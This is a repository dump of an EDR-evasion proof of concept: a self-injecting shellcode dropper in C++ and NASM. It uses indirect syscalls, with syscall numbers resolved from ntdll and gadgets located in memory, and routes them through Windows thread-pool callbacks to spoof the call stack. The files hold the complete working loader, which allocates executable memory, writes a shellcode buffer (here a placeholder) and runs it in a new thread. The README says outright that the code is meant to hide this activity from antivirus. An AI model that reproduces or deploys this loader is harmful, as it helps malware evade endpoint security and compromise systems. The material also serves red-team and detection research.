Repository: pard0p/CallstackSpoofingPOC Branch: main Commit: 8ee01c3b5c40 Files: 8 Total size: 27.3 KB Directory structure: gitextract_eqhlfm6d/ ├── Assembly.asm ├── Callbacks.h ├── Compiler.bat ├── LICENSE ├── Main.cpp ├── PEB.h ├── README.md └── Shellcode.h ================================================ FILE CONTENTS ================================================ ================================================ FILE: Assembly.asm ================================================ section .data syscall_ret dq 0000000000000000h add_rsp_ret dq 0000000000000000h section .text global GetSSNByFuncAddress global Search_For_Syscall_Ret global Search_For_Add_Rsp_Ret global NtAllocateVirtualMemory_Callback global NtCreateThreadEx_Callback global NtWriteVirtualMemory_Callback NtAllocateVirtualMemory_Callback: sub rsp, 0x78 mov r15, add_rsp_ret mov r15, [r15] push r15 mov rbx, rdx ; backing up the struct as we are going to stomp rdx mov rcx, [rbx] ; HANDLE ProcessHandle mov rdx, [rbx + 0x8] ; PVOID *BaseAddress mov r8, [rbx + 0x10] ; ULONG_PTR ZeroBits mov r9, [rbx + 0x18] ; PSIZE_T RegionSize mov r10, [rbx + 0x24] ; ULONG Protect mov [rsp+0x30], r10 ; stack pointer for 6th arg mov r10, [rbx + 0x20] ; ULONG AllocationType mov [rsp+0x28], r10 ; stack pointer for 5th arg mov r10, rcx mov r15, syscall_ret mov r15, [r15] mov rax, [rbx + 0x28] jmp r15 NtWriteVirtualMemory_Callback: sub rsp, 0x78 mov r15, add_rsp_ret mov r15, [r15] push r15 mov rbx, rdx ; backing up the struct as we are going to stomp rdx mov rcx, [rbx] ; HANDLE ProcessHandle mov rdx, [rbx + 0x8] ; PVOID *address mov r8, [rbx + 0x10] ; PVOID *buffer mov r9, [rbx + 0x18] ; ULONG BytesToWrite mov r10, [rbx + 0x20] ; ULONG BytesWriten mov [rsp+0x28], r10 ; stack pointer for 5th arg mov r10, rcx mov r15, syscall_ret mov r15, [r15] mov rax, [rbx + 0x28] jmp r15 NtCreateThreadEx_Callback: sub rsp, 0x78 mov r15, add_rsp_ret mov r15, [r15] push r15 mov rbx, rdx ; backing up the struct as we are going to stomp rdx mov rcx, [rbx] ; PHANDLE threadH mov rdx, [rbx + 0x8] ; ACCESS_MASK desiredAcess mov r8, [rbx + 0x10] ; PVOID objAttributes mov r9, [rbx + 0x18] ; HANDLE pHandle mov r10, [rbx + 0x50] ; PVOID lpBytesBuffer mov [rsp+0x58], r10 ; stack pointer for 11th arg mov r10, [rbx + 0x48] ; SIZE_T sizeOfStackReserve mov [rsp+0x50], r10 ; stack pointer for 10th arg mov r10, [rbx + 0x40] ; SIZE_T sizeOfStackCommit mov [rsp+0x48], r10 ; stack pointer for 9th arg mov r10, [rbx + 0x38] ; SIZE_T stackZeroBits mov [rsp+0x40], r10 ; stack pointer for 8th arg mov r10, [rbx + 0x30] ; ULONG flags mov [rsp+0x38], r10 ; stack pointer for 7th arg mov r10, [rbx + 0x28] ; PVOID lpParameter mov [rsp+0x30], r10 ; stack pointer for 6th arg mov r10, [rbx + 0x20] ; PVOID lpStartAddress mov [rsp+0x28], r10 ; stack pointer for 5th arg mov r10, rcx mov r15, syscall_ret mov r15, [r15] mov rax, [rbx + 0x58] jmp r15 Search_For_Syscall_Ret: ; Search for Syscall + Ret mov rdx, rax add rdx, 1 xor rbx, rbx xor rcx, rcx mov rcx, 00FFFFFF0000000000h mov rdi, [rdx] and rdi, rcx or rbx, rdi shr rbx, 28h cmp rbx, 1F0FC3h jne Search_For_Syscall_Ret + 3h mov r15, syscall_ret mov [r15], rdx xor r15, r15 ret Search_For_Add_Rsp_Ret: ; Search for add rsp, 78 + Ret mov rdx, rax add rdx, 1 xor rbx, rbx xor rcx, rcx mov rcx, 0000FFFFFFFFFFh mov rdi, [rdx] and rdi, rcx or rbx, rdi mov r14, 00C378C48348h cmp rbx, r14 jne Search_For_Add_Rsp_Ret + 3h mov r15, add_rsp_ret mov [r15], rdx ret GetSSNByFuncAddress: mov ebx, 0xB8D18B4C mov rdx, 0x0 mov rax, [rcx] cmp eax, ebx je GetSSNByFuncAddress + 0x1B add rcx, 0x20 add rdx, 0x1 jmp GetSSNByFuncAddress + 0xA mov rax, [rcx + 0x4] sub rax, rdx ret ================================================ FILE: Callbacks.h ================================================ #include ///////////////////// // CALLBACK ARGS // ///////////////////// typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS { HANDLE hProcess; PVOID* address; SIZE_T zeroBits; PSIZE_T size; ULONG allocationType; ULONG permissions; DWORD ssn; } NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS; typedef struct _NTWRITEVIRTUALMEMORY_ARGS { HANDLE hProcess; PVOID address; PVOID buffer; ULONG numberOfBytesToWrite; PULONG numberOfBytesWritten; DWORD ssn; } NTWRITEVIRTUALMEMORY_ARGS, * PNTWRITEVIRTUALMEMORY_ARGS; typedef struct _NTCREATETHREADEX_ARGS { PHANDLE threadHandle; // Pointer to a variable that receives a handle to the new thread ACCESS_MASK desiredAccess; // Desired access to the thread PVOID objectAttributes; // Pointer to an OBJECT_ATTRIBUTES structure that specifies the object's attributes HANDLE processHandle; // Handle to the process in which the thread is to be created PVOID lpStartAddress; // Pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread PVOID lpParameter; // Pointer to a variable to be passed to the thread ULONG flags; // Flags that control the creation of the thread SIZE_T stackZeroBits; // A pointer to a variable that specifies the number of high-order address bits that must be zero in the stack pointer SIZE_T sizeOfStackCommit; // The size of the stack that must be committed at thread creation SIZE_T sizeOfStackReserve; // The size of the stack that must be reserved at thread creation PVOID lpBytesBuffer; // Pointer to a variable that receives any output data from the system DWORD ssn; // SSN } NTCREATETHREADEX_ARGS, * PNTCREATETHREADEX_ARGS; ////////////////////////// // ASSEMBLY FUNCTIONS // ////////////////////////// extern "C" void Search_For_Syscall_Ret( HANDLE ntdllHandle ); extern "C" void Search_For_Add_Rsp_Ret( HANDLE ntdllHandle ); extern "C" void NtAllocateVirtualMemory_Callback( PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work ); extern "C" void NtWriteVirtualMemory_Callback( PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work ); extern "C" void NtCreateThreadEx_Callback( PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work ); ================================================ FILE: Compiler.bat ================================================ @ECHO OFF nasm -f win64 .\Assembly.asm -o .\Assembly.obj g++ -o poc.exe main.cpp Assembly.obj del *.obj ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2023 pard0p Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: Main.cpp ================================================ #include "Callbacks.h" #include "Shellcode.h" #include "PEB.h" #include //Definition of the Windows Thread Pooling functions typedef NTSTATUS(NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment); typedef VOID(NTAPI* TPPOSTWORK)(PTP_WORK); typedef VOID(NTAPI* TPRELEASEWORK)(PTP_WORK); FARPROC pTpAllocWork; FARPROC pTpPostWork; FARPROC pTpReleaseWork; ///////////////////////// // GENERAL FUNCTIONS // ///////////////////////// HMODULE hNtdll; extern "C" DWORD GetSSNByFuncAddress(HANDLE functionAddress); HMODULE GetNtdllHandle() { #if defined(_WIN64) PPEB Peb = (PPEB)__readgsqword(0x60); #else PPEB Peb = (PPEB)__readfsdword(0x30); #endif PLDR_MODULE pLoadModule; pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16); return (HMODULE)pLoadModule->BaseAddress; } PIMAGE_EXPORT_DIRECTORY GetExportTableAddress(HMODULE ImageBase) { uintptr_t baseAddress = reinterpret_cast(ImageBase); uintptr_t dosHeaderAddr = baseAddress; IMAGE_DOS_HEADER* dosHeader = reinterpret_cast(dosHeaderAddr); uintptr_t peHeaderAddr = baseAddress + dosHeader->e_lfanew; IMAGE_NT_HEADERS* ntHeader = reinterpret_cast(peHeaderAddr); IMAGE_EXPORT_DIRECTORY* exportDir = reinterpret_cast( baseAddress + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); return (PIMAGE_EXPORT_DIRECTORY)exportDir; } HANDLE GetExportFunctionAddress(HMODULE moduleHandle, PIMAGE_EXPORT_DIRECTORY exportDir, const char* functionName) { uintptr_t baseAddress = reinterpret_cast(moduleHandle); DWORD* addressOfFunctions = reinterpret_cast(baseAddress + exportDir->AddressOfFunctions); DWORD numberOfFunctions = exportDir->NumberOfFunctions; DWORD* addressOfNameOrdinals = reinterpret_cast(baseAddress + exportDir->AddressOfNameOrdinals); DWORD* addressOfNames = reinterpret_cast(baseAddress + exportDir->AddressOfNames); uintptr_t functionAddress = 0; for (DWORD i = 0; i < numberOfFunctions; ++i) { const char* currentFunctionName = nullptr; if (i < exportDir->NumberOfNames) { currentFunctionName = reinterpret_cast(baseAddress + addressOfNames[i]); } functionAddress = baseAddress + addressOfFunctions[i+1]; if (currentFunctionName && strcmp(currentFunctionName, functionName) == 0) { functionAddress = functionAddress; return (HANDLE)functionAddress; } } return (HANDLE)-1; } DWORD GetSSN(const char* functionName) { //1. Get a HANDLE to the NTDLL. HMODULE hNtdll = GetNtdllHandle(); //2. Get NTDLL's export table. PIMAGE_EXPORT_DIRECTORY exportTable = GetExportTableAddress(hNtdll); //3. Get the NTDLL's function address by its name. HANDLE functionAddress = GetExportFunctionAddress(hNtdll, exportTable, functionName); //4. Get the Syscall number. DWORD SSN = GetSSNByFuncAddress(functionAddress); return SSN; } VOID initVariables() { unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 }; //hNtdll = GetModuleHandleA((LPCSTR)sNtdll); hNtdll = GetNtdllHandle(); Search_For_Syscall_Ret(hNtdll); Search_For_Add_Rsp_Ret(hNtdll); unsigned char sTpAllocWork[] = { 'T', 'p', 'A', 'l', 'l', 'o', 'c', 'W', 'o', 'r', 'k' , 0x0 }; pTpAllocWork = GetProcAddress(hNtdll, (LPCSTR)sTpAllocWork); unsigned char sTpPostWork[] = { 'T', 'p', 'P', 'o', 's', 't', 'W', 'o', 'r', 'k' , 0x0 }; pTpPostWork = GetProcAddress(hNtdll, (LPCSTR)sTpPostWork); unsigned char sTpReleaseWork[] = { 'T', 'p', 'R', 'e', 'l', 'e', 'a', 's', 'e', 'W', 'o', 'r', 'k', 0x0 }; pTpReleaseWork = GetProcAddress(hNtdll, (LPCSTR)sTpReleaseWork); } VOID setCallback(PTP_WORK_CALLBACK callback, PVOID args) { PTP_WORK WorkReturn = NULL; ((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)callback, args, NULL); ((TPPOSTWORK)pTpPostWork)(WorkReturn); ((TPRELEASEWORK)pTpReleaseWork)(WorkReturn); WaitForSingleObject((HANDLE)-1, 0x1000); } ///////////////////////// // NTDLL'S FUNCTIONS // ///////////////////////// PVOID NtAllocateVirtualMemory(HANDLE hProcess) { PVOID allocatedAddress = NULL; SIZE_T allocatedsize = 0x1000; NTALLOCATEVIRTUALMEMORY_ARGS ntAllocateVirtualMemoryArgs = { 0 }; ntAllocateVirtualMemoryArgs.hProcess = hProcess; ntAllocateVirtualMemoryArgs.address = &allocatedAddress; ntAllocateVirtualMemoryArgs.zeroBits = 0; ntAllocateVirtualMemoryArgs.size = &allocatedsize; ntAllocateVirtualMemoryArgs.allocationType = (MEM_RESERVE | MEM_COMMIT); ntAllocateVirtualMemoryArgs.permissions = PAGE_EXECUTE_READWRITE; ntAllocateVirtualMemoryArgs.ssn = GetSSN("NtAllocateVirtualMemory"); setCallback((PTP_WORK_CALLBACK)NtAllocateVirtualMemory_Callback, &ntAllocateVirtualMemoryArgs); return allocatedAddress; } VOID NtWriteVirtualMemory(HANDLE hProcess, PVOID allocatedAddress, PULONG bytesWritten) { NTWRITEVIRTUALMEMORY_ARGS ntWriteVirtualMemoryArgs = { 0 }; ntWriteVirtualMemoryArgs.hProcess = hProcess; ntWriteVirtualMemoryArgs.address = allocatedAddress; ntWriteVirtualMemoryArgs.buffer = code; ntWriteVirtualMemoryArgs.numberOfBytesToWrite = sizeof(code); ntWriteVirtualMemoryArgs.numberOfBytesWritten = bytesWritten; ntWriteVirtualMemoryArgs.ssn = GetSSN("NtWriteVirtualMemory"); //std::cout << "Test 0x" << std::hex << ntWriteVirtualMemoryArgs.ssn << std::endl; setCallback((PTP_WORK_CALLBACK)NtWriteVirtualMemory_Callback, &ntWriteVirtualMemoryArgs); } VOID NtCreateThreadEx(HANDLE hProcess, HANDLE hThread, PVOID allocatedAddress) { NTCREATETHREADEX_ARGS ntCreateThreadExArgs = { 0 }; ntCreateThreadExArgs.threadHandle = &hThread; ntCreateThreadExArgs.desiredAccess = GENERIC_EXECUTE; ntCreateThreadExArgs.objectAttributes = NULL; ntCreateThreadExArgs.processHandle = hProcess; ntCreateThreadExArgs.lpStartAddress = allocatedAddress; ntCreateThreadExArgs.lpParameter = NULL; ntCreateThreadExArgs.flags = FALSE; ntCreateThreadExArgs.stackZeroBits = 0; ntCreateThreadExArgs.sizeOfStackCommit = 0; ntCreateThreadExArgs.sizeOfStackReserve = 0; ntCreateThreadExArgs.lpBytesBuffer = NULL; ntCreateThreadExArgs.ssn = GetSSN("NtCreateThreadEx"); setCallback((PTP_WORK_CALLBACK)NtCreateThreadEx_Callback, &ntCreateThreadExArgs); } //////////// // MAIN // //////////// int main() { initVariables(); //HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ); HANDLE hProcess = (HANDLE)-1; std::cout << "[*] Executing NtAllocateVirtualMemory..." << std::endl; PVOID allocatedAddress = NtAllocateVirtualMemory(hProcess); std::cout << "\t[+] Allocated at: 0x" << allocatedAddress << std::endl; ULONG writenSize = 0; std::cout << "[*] Executing NtWriteVirtualMemory..." << std::endl; NtWriteVirtualMemory(hProcess, allocatedAddress, &writenSize); HANDLE hThread = NULL; std::cout << "[*] Executing NtCreateThreadEx..." << std::endl; NtCreateThreadEx(hProcess, hThread, allocatedAddress); //WaitForSingleObject(hThread, 0x1000); return 0; } ================================================ FILE: PEB.h ================================================ #pragma once #include /*-------------------------------------------------------------------- STRUCTURES --------------------------------------------------------------------*/ typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, * PLDR_MODULE; typedef struct _PEB_LDR_DATA { ULONG Length; ULONG Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBase; PPEB_LDR_DATA LoaderData; PVOID ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PVOID FastPebLockRoutine; PVOID FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PVOID* KernelCallbackTable; PVOID EventLogSection; PVOID EventLog; PVOID FreeList; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[0x2]; PVOID ReadOnlySharedMemoryBase; PVOID ReadOnlySharedMemoryHeap; PVOID* ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; BYTE Spare2[0x4]; LARGE_INTEGER CriticalSectionTimeout; ULONG HeapSegmentReserve; ULONG HeapSegmentCommit; ULONG HeapDeCommitTotalFreeThreshold; ULONG HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID** ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; PVOID GdiDCAttributeList; PVOID LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; ULONG OSBuildNumber; ULONG OSPlatformId; ULONG ImageSubSystem; ULONG ImageSubSystemMajorVersion; ULONG ImageSubSystemMinorVersion; ULONG GdiHandleBuffer[0x22]; ULONG PostProcessInitRoutine; ULONG TlsExpansionBitmap; BYTE TlsExpansionBitmapBits[0x80]; ULONG SessionId; } PEB, * PPEB; typedef struct __CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, * PCLIENT_ID; typedef struct _TEB_ACTIVE_FRAME_CONTEXT { ULONG Flags; PCHAR FrameName; } TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; typedef struct _TEB_ACTIVE_FRAME { ULONG Flags; struct _TEB_ACTIVE_FRAME* Previous; PTEB_ACTIVE_FRAME_CONTEXT Context; } TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; typedef struct _GDI_TEB_BATCH { ULONG Offset; ULONG HDC; ULONG Buffer[310]; } GDI_TEB_BATCH, * PGDI_TEB_BATCH; typedef PVOID PACTIVATION_CONTEXT; typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; PACTIVATION_CONTEXT ActivationContext; ULONG Flags; } RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; typedef struct _ACTIVATION_CONTEXT_STACK { PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; LIST_ENTRY FrameListCache; ULONG Flags; ULONG NextCookieSequenceNumber; ULONG StackId; } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; PVOID WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; PVOID SystemReserved1[54]; LONG ExceptionCode; #if (NTDDI_VERSION >= NTDDI_LONGHORN) PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; ULONG TxFsContext; #elif (NTDDI_VERSION >= NTDDI_WS03) PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; #else ACTIVATION_CONTEXT_STACK ActivationContextStack; UCHAR SpareBytes1[24]; #endif GDI_TEB_BATCH GdiTebBatch; CLIENT_ID RealClientId; PVOID GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; PSIZE_T Win32ClientInfo[62]; PVOID glDispatchTable[233]; PSIZE_T glReserved1[29]; PVOID glReserved2; PVOID glSectionInfo; PVOID glSection; PVOID glTable; PVOID glCurrentRC; PVOID glContext; NTSTATUS LastStatusValue; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; PVOID DeallocationStack; PVOID TlsSlots[64]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; PVOID DbgSsReserved[2]; #if (NTDDI_VERSION >= NTDDI_WS03) ULONG HardErrorMode; #else ULONG HardErrorsAreDisabled; #endif #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; GUID ActivityId; PVOID SubProcessTag; PVOID EtwLocalData; PVOID EtwTraceData; #elif (NTDDI_VERSION >= NTDDI_WS03) PVOID Instrumentation[14]; PVOID SubProcessTag; PVOID EtwLocalData; #else PVOID Instrumentation[16]; #endif PVOID WinSockData; ULONG GdiBatchCount; #if (NTDDI_VERSION >= NTDDI_LONGHORN) BOOLEAN SpareBool0; BOOLEAN SpareBool1; BOOLEAN SpareBool2; #else BOOLEAN InDbgPrint; BOOLEAN FreeStackOnTermination; BOOLEAN HasFiberData; #endif UCHAR IdealProcessor; #if (NTDDI_VERSION >= NTDDI_WS03) ULONG GuaranteedStackBytes; #else ULONG Spare3; #endif PVOID ReservedForPerf; PVOID ReservedForOle; ULONG WaitingOnLoaderLock; #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID SavedPriorityState; ULONG_PTR SoftPatchPtr1; ULONG_PTR ThreadPoolData; #elif (NTDDI_VERSION >= NTDDI_WS03) ULONG_PTR SparePointer1; ULONG_PTR SoftPatchPtr1; ULONG_PTR SoftPatchPtr2; #else Wx86ThreadState Wx86Thread; #endif PVOID* TlsExpansionSlots; #if defined(_WIN64) && !defined(EXPLICIT_32BIT) PVOID DeallocationBStore; PVOID BStoreLimit; #endif ULONG ImpersonationLocale; ULONG IsImpersonating; PVOID NlsCache; PVOID pShimData; ULONG HeapVirtualAffinity; HANDLE CurrentTransactionHandle; PTEB_ACTIVE_FRAME ActiveFrame; #if (NTDDI_VERSION >= NTDDI_WS03) PVOID FlsData; #endif #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID PreferredLangauges; PVOID UserPrefLanguages; PVOID MergedPrefLanguages; ULONG MuiImpersonation; union { struct { USHORT SpareCrossTebFlags : 16; }; USHORT CrossTebFlags; }; union { struct { USHORT DbgSafeThunkCall : 1; USHORT DbgInDebugPrint : 1; USHORT DbgHasFiberData : 1; USHORT DbgSkipThreadAttach : 1; USHORT DbgWerInShipAssertCode : 1; USHORT DbgIssuedInitialBp : 1; USHORT DbgClonedThread : 1; USHORT SpareSameTebBits : 9; }; USHORT SameTebFlags; }; PVOID TxnScopeEntercallback; PVOID TxnScopeExitCAllback; PVOID TxnScopeContext; ULONG LockCount; ULONG ProcessRundown; ULONG64 LastSwitchTime; ULONG64 TotalSwitchOutTime; LARGE_INTEGER WaitReasonBitMap; #else BOOLEAN SafeThunkCall; BOOLEAN BooleanSpare[3]; #endif } TEB, * PTEB; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; WORD LoadCount; WORD TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PACTIVATION_CONTEXT EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; PVOID RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _INITIAL_TEB { PVOID StackBase; PVOID StackLimit; PVOID StackCommit; PVOID StackCommitMax; PVOID StackReserved; } INITIAL_TEB, * PINITIAL_TEB; ================================================ FILE: README.md ================================================ # Callstack spoofing + Indirect Syscalls POC This project consists of a simple C++ self-Injecting dropper focused on EDR evasion POC. To implement it, I have combined the use of **``Windows Thread Pooling``** to hide the call stack and the use of **``indirect syscalls``** to avoid hooking in the NTDLL.
![2023-10-08-23-22-35-Trim](https://github.com/pard0p/Cordyceps/assets/79936108/060db2ad-2c02-4501-bc86-5be0cff78711) ![image](https://github.com/pard0p/Cordyceps/assets/79936108/231e3722-9190-4846-88d9-66870acb7eb2) ![image](https://github.com/pard0p/Cordyceps/assets/79936108/742dee9c-7c91-41cb-9dd9-4a22985bfc5b) ![image](https://github.com/pard0p/Cordyceps/assets/79936108/aeefb8d2-cf8a-4d79-969a-7e195e878731) ![image](https://github.com/pard0p/Cordyceps/assets/79936108/eac6158f-f1f6-41f7-878f-2c1333a06b54) As can be seen in the images, from the Cordyceps code, it performs a jump to ntdll to utilize one of the syscall instructions. This should be considered a malicious action; however, upon executing the return in ntdll, we return to the code of tpWorker, which is located within ntdll. Thus, from the perspective of the antivirus (AV), ntdll would appear to be making a call to another part of ntdll, which is not considered malicious. ## Future Upgrades: - [x] Implement a mechanism to automatically search for the syscall number. - [ ] In-memory payload decryption. ## To compile: ```bash nasm -f win64 .\Assembly.asm -o .\Assembly.obj g++ -o poc.exe main.cpp Assembly.obj ``` ## Resources: https://0xdarkvortex.dev/hiding-in-plainsight/ https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html https://klezvirus.github.io/RedTeaming/AV_Evasion/StackSpoofing/ https://medium.com/@sruthk/cracking-assembly-fastcall-calling-convention-in-x64-c6d77b51ea86 ================================================ FILE: Shellcode.h ================================================ unsigned char code[] = " --- SHELCODE ---";